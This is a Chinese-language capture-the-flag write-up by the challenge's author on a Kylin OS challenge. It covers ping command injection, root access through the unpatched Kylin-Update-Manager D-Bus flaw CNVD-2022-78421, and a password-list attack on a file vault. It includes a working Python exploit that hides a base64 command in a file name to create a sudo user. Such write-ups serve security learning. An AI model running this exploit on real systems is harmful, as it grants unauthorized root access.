继续朝花夕拾,把自己出的题的解题思路发一份在这里存着。
知识点
1.银河麒麟系统特性
2.银河麒麟系统提权
解题步骤
1.打开是这样一个界面,可以对指定的 IP 地址发起 ping。
![](https://www.zhaoj.in/wp-content/uploads/2023/10/1698576038a352d917a053ddd6fa2477620e7f61a7.png)
2.抓取请求,注入命令,反弹 Shell。
![](https://www.zhaoj.in/wp-content/uploads/2023/10/1698576046172ce0e2ded88611bdf5a547790b8d3b.png)
3.尝试执行自定义脚本,未果,推测有拦截。
![](https://www.zhaoj.in/wp-content/uploads/2023/10/1698576099448831a33b164ad0dffcdeb301c3f34f.png)
4.则尝试用 dbus 提权,审计 Kylin-Update-Manager 的源码,可以发现这个漏洞 https://www.cnvd.org.cn/flaw/show/CNVD-2022-78421 还没修。
则 spawn 一个终端出来。
![](https://www.zhaoj.in/wp-content/uploads/2023/10/169857611294221c0b305323e17b773058e6247631.png)
python3 执行下面的脚本。
from pathlib import Path
import dbus
import base64
from pathlib import Path
command = "adduser fakeadmin && adduser fakeadmin sudo && echo 'fakeadmin:Bb123***'|chpasswd"
command_base64 = base64.b64encode(command.encode()).decode()
path = '/tmp/`echo ' + command_base64 + '|base64 -d|sh`'
Path(path).touch()
bus = dbus.SystemBus()
remote_object = bus.get_object("cn.kylinos.KylinUpdateManager", "/cn/kylinos/KylinUpdateManager")
remote_object.install_snap(path, dbus_interface="cn.kylinos.KylinUpdateManager")
print("Command executed!")
直接全部粘进去让它执行。
![](https://www.zhaoj.in/wp-content/uploads/2023/10/1698576158561d60afe2584cc56be6931590ee8b1c.png)
5.接下来就可以 su fakeadmin, 然后就可以用 Bb123*** 这个密码登录,然后就可以sudo su 提权到root。
![](https://www.zhaoj.in/wp-content/uploads/2023/10/169857616994f908c4970c3b76b4cdebd1e39390e1.png)
然后就可以修改 glzjin 的密码了。
![](https://www.zhaoj.in/wp-content/uploads/2023/10/169857617700d7f2039cc312c8c1885f3c0bd76492.png)
6.然后接下来切换到 glzjin 用户,启动 vncserver。
![](https://www.zhaoj.in/wp-content/uploads/2023/10/16985761926f6b316a302d5e738a5f547cc97eaf55.png)
![](https://www.zhaoj.in/wp-content/uploads/2023/10/1698576200516a4e15154ab52793728962bd34e32a.png)
7.然后开启文件保险箱,初始化失败。
![](https://www.zhaoj.in/wp-content/uploads/2023/10/16985762075444b5cbc6161b12fe839b2f5ffb9a90.png)
8.需要想办法把vncserver的父进程id挂到当前系统登录的session里,可以用快捷方式+开机启动项操作。
![](https://www.zhaoj.in/wp-content/uploads/2023/10/16985762195846cc01dae632d71bb27a91b86376e8.png)
![](https://www.zhaoj.in/wp-content/uploads/2023/10/16985762286b7ef54fb6acb9365a50ef2082391dfa.png)
9.重启,再连接,即可打开文件保险箱。
![](https://www.zhaoj.in/wp-content/uploads/2023/10/1698576240be2f21dce3e2529265b628bf9b4133a4.png)
10.使用rockyou.txt 密码尝试,尝试到大概三百个左右时 “maganda” 这个密码可行,打开即可看到flag。
![](https://www.zhaoj.in/wp-content/uploads/2023/10/1698576248c6aad49a6f71e27445894ed7e01b39cd.png)
后记
比赛时候有一个非预期解,是直接拿WPS的缓存读到这个文档了,失算失算:)